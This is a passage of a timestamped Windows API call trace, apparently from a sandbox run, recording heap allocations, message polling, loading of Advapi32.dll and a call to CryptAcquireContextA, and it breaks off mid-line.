[0132.545] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015fc0 | out: hHeap=0xe80000) returned 1 [0132.545] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.545] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.545] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0132.545] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554b0 [0132.545] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554b0 | out: hHeap=0xe80000) returned 1 [0132.545] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0132.545] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.545] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015b80 [0132.545] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.546] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015b80 | out: hHeap=0xe80000) returned 1 [0132.546] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.546] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf198 [0132.546] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.546] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556d0 [0132.546] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556d0 | out: hHeap=0xe80000) returned 1 [0132.546] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.546] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf198 | out: hHeap=0xe80000) returned 1 [0132.547] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015b40 [0132.547] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.547] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015b40 | out: hHeap=0xe80000) returned 1 [0132.547] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.547] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.547] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0132.547] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554b0 [0132.547] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554b0 | out: hHeap=0xe80000) returned 1 [0132.547] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0132.547] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.547] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015e40 [0132.547] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.548] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015e40 | out: hHeap=0xe80000) returned 1 [0132.548] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.548] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.548] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0132.548] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055470 [0132.549] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055470 | out: hHeap=0xe80000) returned 1 [0132.549] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0132.549] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10161c0 [0132.549] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.549] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10161c0 | out: hHeap=0xe80000) returned 1 [0132.549] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0132.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf058 [0132.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055530 [0132.549] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055530 | out: hHeap=0xe80000) returned 1 [0132.549] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0132.549] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0132.549] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0132.549] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.550] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0132.550] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.550] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0132.550] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0132.550] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0132.550] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0132.550] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0132.550] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0132.550] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10161c0 [0132.550] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.551] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10161c0 | out: hHeap=0xe80000) returned 1 [0132.551] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.561] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.561] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0132.561] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055610 [0132.561] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055610 | out: hHeap=0xe80000) returned 1 [0132.561] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0132.561] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.561] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10160c0 [0132.561] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.561] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10160c0 | out: hHeap=0xe80000) returned 1 [0132.561] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.561] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.561] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1758 [0132.561] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b20 [0132.561] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf058 [0132.561] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0132.562] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d30 [0132.562] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ca0 [0132.562] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf128 [0132.562] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b20 | out: hHeap=0xe80000) returned 1 [0132.562] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1758 | out: hHeap=0xe80000) returned 1 [0132.562] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ca0 | out: hHeap=0xe80000) returned 1 [0132.562] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.562] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d30 | out: hHeap=0xe80000) returned 1 [0132.562] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.562] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.562] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0132.562] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055510 [0132.562] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055510 | out: hHeap=0xe80000) returned 1 [0132.562] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0132.562] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.562] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016240 [0132.562] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.563] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016240 | out: hHeap=0xe80000) returned 1 [0132.563] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.563] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf058 [0132.563] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.563] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055650 | out: hHeap=0xe80000) returned 1 [0132.563] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.563] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0132.563] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.563] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015e80 | out: hHeap=0xe80000) returned 1 [0132.563] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.563] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554f0 | out: hHeap=0xe80000) returned 1 [0132.563] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0132.563] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf198 | out: hHeap=0xe80000) returned 1 [0132.564] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.564] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016200 | out: hHeap=0xe80000) returned 1 [0132.564] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.564] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556f0 | out: hHeap=0xe80000) returned 1 [0132.564] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0132.564] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf078 | out: hHeap=0xe80000) returned 1 [0132.564] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.564] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.564] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.564] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.564] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.564] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x75a50000 [0132.564] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.564] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.565] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.565] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.565] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.565] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.565] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.565] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.565] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.565] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.565] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.565] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.565] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.565] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.565] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.565] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.565] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.565] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.565] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.565] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.565] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.565] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.565] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.565] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.565] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.566] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.566] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.566] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.566] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.566] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.566] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.566] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.566] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.566] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.566] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.566] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.566] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.566] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.566] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0132.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0132.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x10557d0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0132.567] GetProcAddress (hModule=0x75a50000, lpProcName="CryptAcquireContext") returned 0x0 [0132.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0132.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x1055710, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0132.569] GetProcAddress (hModule=0x75a50000, lpProcName="CryptAcquireContextA") returned 0x75a70630 [0132.569] CryptAcquireContextA (in: phProv=0xbdee40, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xbdee40*=0x1048538) returned 1 [0132.592] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.592] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.592] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.592] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbdf370 | out: lpSystemTimeAsFileTime=0xbdf370*(dwLowDateTime=0x884ad9a0, dwHighDateTime=0x1da5a12)) [0132.592] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.592] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1848 [0132.592] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c40 [0132.592] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.592] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf158 [0132.592] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554b0 [0132.592] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554b0 | out: hHeap=0xe80000) returned 1 [0132.592] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf158 | out: hHeap=0xe80000) returned 1 [0132.592] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.592] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c40 | out: hHeap=0xe80000) returned 1 [0132.593] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1848 | out: hHeap=0xe80000) returned 1 [0132.594] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.594] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0132.594] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.594] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf058 [0132.594] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.594] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0132.594] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0132.594] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 